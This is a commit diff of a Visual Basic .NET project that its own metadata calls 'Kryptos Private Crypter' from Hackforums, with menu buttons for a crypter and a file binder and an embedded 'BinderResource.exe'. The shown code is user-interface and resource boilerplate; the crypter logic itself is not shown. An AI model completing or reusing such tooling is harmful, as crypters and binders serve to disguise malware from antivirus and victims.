<DependentUpon>Binder.vb</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Form1.resx">
|
||||
<DependentUpon>Form1.vb</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="MainWindow.resx">
|
||||
<DependentUpon>MainWindow.vb</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="My Project\Resources.resx">
|
||||
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="app.config" />
|
||||
<None Include="My Project\Application.myapp">
|
||||
<Generator>MyApplicationCodeGenerator</Generator>
|
||||
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
<None Include="My Project\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<CustomToolNamespace>My</CustomToolNamespace>
|
||||
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="Resources\BinderResource.exe" />
|
||||
<Content Include="Secure.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
||||
@@ -0,0 +1,3 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
</Project>
|
||||
+200
@@ -0,0 +1,200 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class MainWindow
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim Bloom1 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom2 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom3 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom4 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom5 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom6 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom7 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom8 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom9 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom10 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom11 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom12 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom13 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom14 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom15 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom16 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom17 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom18 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim Bloom19 As KryptosPublicVer.Bloom = New KryptosPublicVer.Bloom()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(MainWindow))
|
||||
Me.CyberTheme1 = New KryptosPublicVer.CyberTheme()
|
||||
Me.CyberButton3 = New KryptosPublicVer.CyberButton()
|
||||
Me.CyberSeparator2 = New KryptosPublicVer.CyberSeparator()
|
||||
Me.CyberButton2 = New KryptosPublicVer.CyberButton()
|
||||
Me.CyberSeparator1 = New KryptosPublicVer.CyberSeparator()
|
||||
Me.CyberButton1 = New KryptosPublicVer.CyberButton()
|
||||
Me.CyberTheme1.SuspendLayout()
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'CyberTheme1
|
||||
'
|
||||
Me.CyberTheme1.BackColor = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer))
|
||||
Me.CyberTheme1.BorderStyle = System.Windows.Forms.FormBorderStyle.None
|
||||
Bloom1.Name = "Back"
|
||||
Bloom1.Value = System.Drawing.Color.FromArgb(CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer), CType(CType(25, Byte), Integer))
|
||||
Bloom2.Name = "Gradient1"
|
||||
Bloom2.Value = System.Drawing.Color.FromArgb(CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer), CType(CType(35, Byte), Integer))
|
||||
Bloom3.Name = "Gradient2"
|
||||
Bloom3.Value = System.Drawing.Color.FromArgb(CType(CType(20, Byte), Integer), CType(CType(20, Byte), Integer), CType(CType(20, Byte), Integer))
|
||||
Bloom4.Name = "Border1"
|
||||
Bloom4.Value = System.Drawing.Color.FromArgb(CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer))
|
||||
Bloom5.Name = "Border2"
|
||||
Bloom5.Value = System.Drawing.Color.FromArgb(CType(CType(49, Byte), Integer), CType(CType(49, Byte), Integer), CType(CType(49, Byte), Integer))
|
||||
Bloom6.Name = "Border3"
|
||||
Bloom6.Value = System.Drawing.Color.Black
|
||||
Bloom7.Name = "Line1"
|
||||
Bloom7.Value = System.Drawing.Color.Black
|
||||
Bloom8.Name = "Line2"
|
||||
Bloom8.Value = System.Drawing.Color.Black
|
||||
Bloom9.Name = "Hatch1"
|
||||
Bloom9.Value = System.Drawing.Color.Black
|
||||
Bloom10.Name = "Hatch2"
|
||||
Bloom10.Value = System.Drawing.Color.FromArgb(CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer), CType(CType(34, Byte), Integer))
|
||||
Bloom11.Name = "Shade1"
|
||||
Bloom11.Value = System.Drawing.Color.FromArgb(CType(CType(70, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer))
|
||||
Bloom12.Name = "Shade2"
|
||||
Bloom12.Value = System.Drawing.Color.Transparent
|
||||
Bloom13.Name = "Text"
|
||||
Bloom13.Value = System.Drawing.Color.LightBlue
|
||||
Me.CyberTheme1.Colors = New KryptosPublicVer.Bloom() {Bloom1, Bloom2, Bloom3, Bloom4, Bloom5, Bloom6, Bloom7, Bloom8, Bloom9, Bloom10, Bloom11, Bloom12, Bloom13}
|
||||
Me.CyberTheme1.Controls.Add(Me.CyberButton3)
|
||||
Me.CyberTheme1.Controls.Add(Me.CyberSeparator2)
|
||||
Me.CyberTheme1.Controls.Add(Me.CyberButton2)
|
||||
Me.CyberTheme1.Controls.Add(Me.CyberSeparator1)
|
||||
Me.CyberTheme1.Controls.Add(Me.CyberButton1)
|
||||
Me.CyberTheme1.Customization = "GRkZ/yMjI/8UFBT/IiIi/zExMf8AAAD/AAAA/wAAAP8AAAD/IiIi/wAAAEb///8A5tit/w=="
|
||||
Me.CyberTheme1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Me.CyberTheme1.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberTheme1.Image = Nothing
|
||||
Me.CyberTheme1.Location = New System.Drawing.Point(0, 0)
|
||||
Me.CyberTheme1.Movable = True
|
||||
Me.CyberTheme1.Name = "CyberTheme1"
|
||||
Me.CyberTheme1.NoRounding = False
|
||||
Me.CyberTheme1.Sizable = False
|
||||
Me.CyberTheme1.Size = New System.Drawing.Size(284, 232)
|
||||
Me.CyberTheme1.TabIndex = 0
|
||||
Me.CyberTheme1.Text = "Main Menu "
|
||||
Me.CyberTheme1.TransparencyKey = System.Drawing.Color.Empty
|
||||
'
|
||||
'CyberButton3
|
||||
'
|
||||
Bloom14.Name = "BackColor"
|
||||
Bloom14.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer))
|
||||
Bloom15.Name = "TextColor"
|
||||
Bloom15.Value = System.Drawing.Color.LightBlue
|
||||
Me.CyberButton3.Colors = New KryptosPublicVer.Bloom() {Bloom14, Bloom15}
|
||||
Me.CyberButton3.Cursor = System.Windows.Forms.Cursors.Arrow
|
||||
Me.CyberButton3.Customization = "KCgo/+bYrf8="
|
||||
Me.CyberButton3.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberButton3.Image = Nothing
|
||||
Me.CyberButton3.Location = New System.Drawing.Point(31, 180)
|
||||
Me.CyberButton3.Name = "CyberButton3"
|
||||
Me.CyberButton3.NoRounding = False
|
||||
Me.CyberButton3.Size = New System.Drawing.Size(215, 32)
|
||||
Me.CyberButton3.TabIndex = 4
|
||||
Me.CyberButton3.Text = "Exit"
|
||||
Me.CyberButton3.Transparent = False
|
||||
'
|
||||
'CyberSeparator2
|
||||
'
|
||||
Me.CyberSeparator2.Location = New System.Drawing.Point(31, 151)
|
||||
Me.CyberSeparator2.Name = "CyberSeparator2"
|
||||
Me.CyberSeparator2.Orientation = System.Windows.Forms.Orientation.Horizontal
|
||||
Me.CyberSeparator2.Size = New System.Drawing.Size(215, 23)
|
||||
Me.CyberSeparator2.TabIndex = 3
|
||||
Me.CyberSeparator2.Text = "CyberSeparator2"
|
||||
'
|
||||
'CyberButton2
|
||||
'
|
||||
Bloom16.Name = "BackColor"
|
||||
Bloom16.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer))
|
||||
Bloom17.Name = "TextColor"
|
||||
Bloom17.Value = System.Drawing.Color.LightBlue
|
||||
Me.CyberButton2.Colors = New KryptosPublicVer.Bloom() {Bloom16, Bloom17}
|
||||
Me.CyberButton2.Cursor = System.Windows.Forms.Cursors.Arrow
|
||||
Me.CyberButton2.Customization = "KCgo/+bYrf8="
|
||||
Me.CyberButton2.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberButton2.Image = Nothing
|
||||
Me.CyberButton2.Location = New System.Drawing.Point(31, 113)
|
||||
Me.CyberButton2.Name = "CyberButton2"
|
||||
Me.CyberButton2.NoRounding = False
|
||||
Me.CyberButton2.Size = New System.Drawing.Size(215, 32)
|
||||
Me.CyberButton2.TabIndex = 2
|
||||
Me.CyberButton2.Text = "Piesma {File Binder}"
|
||||
Me.CyberButton2.Transparent = False
|
||||
'
|
||||
'CyberSeparator1
|
||||
'
|
||||
Me.CyberSeparator1.Location = New System.Drawing.Point(31, 84)
|
||||
Me.CyberSeparator1.Name = "CyberSeparator1"
|
||||
Me.CyberSeparator1.Orientation = System.Windows.Forms.Orientation.Horizontal
|
||||
Me.CyberSeparator1.Size = New System.Drawing.Size(215, 23)
|
||||
Me.CyberSeparator1.TabIndex = 1
|
||||
Me.CyberSeparator1.Text = "CyberSeparator1"
|
||||
'
|
||||
'CyberButton1
|
||||
'
|
||||
Bloom18.Name = "BackColor"
|
||||
Bloom18.Value = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer), CType(CType(40, Byte), Integer))
|
||||
Bloom19.Name = "TextColor"
|
||||
Bloom19.Value = System.Drawing.Color.LightBlue
|
||||
Me.CyberButton1.Colors = New KryptosPublicVer.Bloom() {Bloom18, Bloom19}
|
||||
Me.CyberButton1.Cursor = System.Windows.Forms.Cursors.Arrow
|
||||
Me.CyberButton1.Customization = "KCgo/+bYrf8="
|
||||
Me.CyberButton1.Font = New System.Drawing.Font("Verdana", 8.0!)
|
||||
Me.CyberButton1.Image = Nothing
|
||||
Me.CyberButton1.Location = New System.Drawing.Point(31, 46)
|
||||
Me.CyberButton1.Name = "CyberButton1"
|
||||
Me.CyberButton1.NoRounding = False
|
||||
Me.CyberButton1.Size = New System.Drawing.Size(215, 32)
|
||||
Me.CyberButton1.TabIndex = 0
|
||||
Me.CyberButton1.Text = "Kryptos {Crypter}"
|
||||
Me.CyberButton1.Transparent = False
|
||||
'
|
||||
'MainWindow
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.ClientSize = New System.Drawing.Size(284, 232)
|
||||
Me.Controls.Add(Me.CyberTheme1)
|
||||
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None
|
||||
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Me.Name = "MainWindow"
|
||||
Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
|
||||
Me.Text = "MainWindow"
|
||||
Me.CyberTheme1.ResumeLayout(False)
|
||||
Me.ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
Friend WithEvents CyberTheme1 As KryptosPublicVer.CyberTheme
|
||||
Friend WithEvents CyberSeparator1 As KryptosPublicVer.CyberSeparator
|
||||
Friend WithEvents CyberButton1 As KryptosPublicVer.CyberButton
|
||||
Friend WithEvents CyberSeparator2 As KryptosPublicVer.CyberSeparator
|
||||
Friend WithEvents CyberButton2 As KryptosPublicVer.CyberButton
|
||||
Friend WithEvents CyberButton3 As KryptosPublicVer.CyberButton
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,27 @@
|
||||
Public Class MainWindow
|
||||
|
||||
Private Sub CyberButton1_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton1.Click
|
||||
Form1.Show()
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub CyberButton2_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton2.Click
|
||||
Binder.Show()
|
||||
End Sub
|
||||
|
||||
Private Sub CyberButton3_Click(sender As System.Object, e As System.EventArgs) Handles CyberButton3.Click
|
||||
Me.Close()
|
||||
End Sub
|
||||
|
||||
Private Sub CyberTheme1_Click(sender As System.Object, e As System.EventArgs) Handles CyberTheme1.Click
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub MainWindow_Load(sender As Object, e As System.EventArgs) Handles Me.Load
|
||||
For Fadein = 0.0 To 1.1 Step 0.1
|
||||
Me.Opacity = Fadein
|
||||
Me.Refresh()
|
||||
Threading.Thread.Sleep(100)
|
||||
Next
|
||||
End Sub
|
||||
End Class
|
||||
@@ -0,0 +1,38 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.261
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
|
||||
' or if you encounter build errors in this file, go to the Project Designer
|
||||
' (go to Project Properties or double-click the My Project node in
|
||||
' Solution Explorer), and make changes on the Application tab.
|
||||
'
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Public Sub New()
|
||||
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
|
||||
Me.IsSingleInstance = false
|
||||
Me.EnableVisualStyles = true
|
||||
Me.SaveMySettingsOnExit = true
|
||||
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
|
||||
End Sub
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Protected Overrides Sub OnCreateMainForm()
|
||||
Me.MainForm = Global.KryptosPublicVer.MainWindow
|
||||
End Sub
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>true</MySubMain>
|
||||
<MainForm>MainWindow</MainForm>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,35 @@
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("Kryptos Private {1.0}")>
|
||||
<Assembly: AssemblyDescription("")>
|
||||
<Assembly: AssemblyCompany("Salmoneus of Hackforums")>
|
||||
<Assembly: AssemblyProduct("Kryptos Private Crypter")>
|
||||
<Assembly: AssemblyCopyright("Copyright © Salmoneus 2012")>
|
||||
<Assembly: AssemblyTrademark("")>
|
||||
|
||||
<Assembly: ComVisible(False)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("54d7fef3-cdbf-4aa6-932a-7bb988cbc6c7")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
' You can specify all the values or you can default the Build and Revision Numbers
|
||||
' by using the '*' as shown below:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("1.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("1.0.0.0")>
|
||||
@@ -0,0 +1,70 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.261
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("KryptosPublicVer.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property BinderResource() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("BinderResource", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,124 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="BinderResource" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\BinderResource.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
</root>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.261
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
